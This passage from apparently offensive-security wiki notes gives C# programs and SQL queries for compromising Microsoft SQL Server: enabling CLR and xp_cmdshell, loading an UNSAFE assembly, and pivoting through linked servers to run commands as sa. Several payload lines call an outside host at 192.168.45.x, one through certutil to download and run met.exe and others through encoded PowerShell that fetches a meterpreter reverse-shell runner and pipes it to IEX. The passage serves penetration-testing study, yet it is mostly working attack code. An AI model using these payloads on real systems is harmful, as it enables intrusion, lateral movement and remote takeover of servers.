                    String dropAssembly = &amp;quot;IF EXISTS (SELECT * FROM sys.assemblies WHERE name = &#039;myAssembly&#039;) DROP ASSEMBLY myAssembly;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropAssembly, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Configuration for enabling CLR&lt;br /&gt;
                    String clrConfig = &amp;quot;use msdb; EXEC sp_configure &#039;show advanced options&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr enabled&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr strict security&#039;, 0; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(clrConfig, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Create the assembly and procedure&lt;br /&gt;
                    String CreateAssem = &amp;quot;CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreateAssem, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String CreatePro = &amp;quot;CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreatePro, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Execute the procedure&lt;br /&gt;
                    String ExecCmd = &amp;quot;EXEC cmdExec &#039;certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\\windows\\tasks\\met.exe&#039;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(ExecCmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Read();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Result of the command is: &amp;quot; + reader[0]);&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there&#039;s a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string dropproc = &amp;quot;DROP PROCEDURE cmdExec&amp;quot;;&lt;br /&gt;
string dropasm = &amp;quot;DROP ASSEMBLY myAssembly&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linked SQL Servers ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Linked SQL servers allow one SQL server to connect to another.&lt;br /&gt;
&lt;br /&gt;
* The execution context during the connection can be dynamic or a specific SQL login.&lt;br /&gt;
&lt;br /&gt;
* If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server.&lt;br /&gt;
&lt;br /&gt;
* sp_linkedservers stored procedure enumerates linked servers.&lt;br /&gt;
&lt;br /&gt;
* OPENQUERY keyword can be used to perform SQL queries on linked servers.&lt;br /&gt;
&lt;br /&gt;
* Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers.&lt;br /&gt;
&lt;br /&gt;
* RPC Out setting must be enabled for RPC to work on linked servers.&lt;br /&gt;
&lt;br /&gt;
* sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership.&lt;br /&gt;
&lt;br /&gt;
* AT keyword specifies which linked SQL server a query should be executed on.&lt;br /&gt;
&lt;br /&gt;
==== Query list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enable RPC Out&lt;br /&gt;
EXEC sp_serveroption &#039;sql27&#039;, &#039;rpc out&#039;, &#039;true&#039;;&lt;br /&gt;
# Enumerate linked servers&lt;br /&gt;
EXEC sp_linkedservers;&lt;br /&gt;
# Execute command using openquery&lt;br /&gt;
SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&lt;br /&gt;
# Enable advanced options&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&lt;br /&gt;
# Enable xp_cmdshell&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&lt;br /&gt;
# Example&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;xp_cmdshell &#039;&#039;whoami&#039;&#039;;&#039;) AT SQL53;&lt;br /&gt;
# Double hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -enc XXXXX&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
# Tripple hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039; &#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String execCmd = &amp;quot;EXEC sp_linkedservers;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(execCmd, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Querying Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Since we know from the enumeration above that &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked to &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; we can query the linked SQL server&lt;br /&gt;
&lt;br /&gt;
* This will print the version of the linked SQL Server.&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of double quotes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Point 2: Querying Linked Servers using OPENQUERY&lt;br /&gt;
            String queryCmd = &amp;quot;SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&amp;quot;;&lt;br /&gt;
            SqlCommand queryCommand = new SqlCommand(queryCmd, con);&lt;br /&gt;
            SqlDataReader queryReader = queryCommand.ExecuteReader();&lt;br /&gt;
            while (queryReader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server version: &amp;quot; + queryReader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            queryReader.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Executing Commands on Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Use the AT keyword to specify the linked server.&lt;br /&gt;
&lt;br /&gt;
* Example: &amp;lt;code&amp;gt;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT DC01&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of single quotes in SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Enable &#039;show advanced options&#039; through DC01&lt;br /&gt;
            String execCmd = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand execCommand = new SqlCommand(execCmd, con);&lt;br /&gt;
            execCommand.ExecuteNonQuery();&lt;br /&gt;
            // Check if &amp;quot;show advanced options&amp;quot; is enabled on DC01 using OPENQUERY&lt;br /&gt;
            String checkCmd = &amp;quot;SELECT value_in_use FROM OPENQUERY(DC01, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;show advanced options);&amp;quot;;&lt;br /&gt;
            SqlCommand checkCommand = new SqlCommand(checkCmd, con);&lt;br /&gt;
            int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar());&lt;br /&gt;
            if (valueInUse == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Command executed successfully: &#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is not enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            String enablexpcmdshell = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con);&lt;br /&gt;
            enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.244/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
            //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
            //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            //$EncodedText&lt;br /&gt;
            string execmd = &amp;quot;EXEC (&#039;xp_cmdshell &#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand runthis = new SqlCommand(execmd, con);&lt;br /&gt;
            runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01.&lt;br /&gt;
&lt;br /&gt;
* If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation.&lt;br /&gt;
&lt;br /&gt;
* Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server.&lt;br /&gt;
&lt;br /&gt;
To enumerate if the linked SQL server has another link, we can use the code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0].ToString());&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will use &amp;lt;code&amp;gt;OpenQuery&amp;lt;/code&amp;gt; twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
String query = &amp;quot;select mylogin from openquery(\&amp;quot;dc01\&amp;quot;, &#039;select mylogin from openquery(\&amp;quot;appsrv01\&amp;quot;, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
while (reader.Read())&lt;br /&gt;
{&lt;br /&gt;
    Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0].ToString());&lt;br /&gt;
}&lt;br /&gt;
reader.Close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Code Exection&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Using the code below will give us code execution on &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; through &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; as the &amp;lt;code&amp;gt;sa&amp;lt;/code&amp;gt; user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static string sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
        static string database = &amp;quot;master&amp;quot;;&lt;br /&gt;
        static string conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                ListLinkedServers(con);&lt;br /&gt;
                DisplayCurrentLoginThroughDC01(con);&lt;br /&gt;
                DisplayCurrentLoginLocal(con);&lt;br /&gt;
                EnableAdvancedOptionsOnBothServers(con);&lt;br /&gt;
                EnableXpCmdShellOnBothServers(con);&lt;br /&gt;
                ExecutePayloadOnAppsrv01ThroughDC01(con);&lt;br /&gt;
                con.Close();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ListLinkedServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            string query = &amp;quot;select mylogin from openquery(dc01, &#039;select mylogin from openquery(appsrv01, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
            ExecuteReader(con, query, reader =&amp;gt; Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginLocal(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;SELECT SYSTEM_USER;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Executing as login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableAdvancedOptionsOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE;&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableXpCmdShellOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            // Enable xp_cmdshell on appsrv01 through DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            // Enable xp_cmdshell on DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;&#039;&#039;&#039; &#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteReader(SqlConnection con, string query, Action action)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlDataReader reader = cmd.ExecuteReader())&lt;br /&gt;
                {&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        action(reader);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteNonQuery(SqlConnection con, string query)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
                {&lt;br /&gt;
                    cmd.ExecuteNonQuery();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception ex)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Failed to execute query. Error: {ex.Message}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static bool CheckIfOptionEnabled(SqlConnection con, string server, string option)&lt;br /&gt;
        {&lt;br /&gt;
            string query = server == &amp;quot;DC01&amp;quot;&lt;br /&gt;
                ? $&amp;quot;SELECT value_in_use FROM OPENQUERY({server}, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;{option});&amp;quot;&lt;br /&gt;
                : $&amp;quot;SELECT value_in_use FROM sys.configurations WHERE name = &#039;{option}&#039;;&amp;quot;;&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                return Convert.ToInt32(cmd.ExecuteScalar()) == 1;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Automating linked SQL enum and attacks ===&lt;br /&gt;
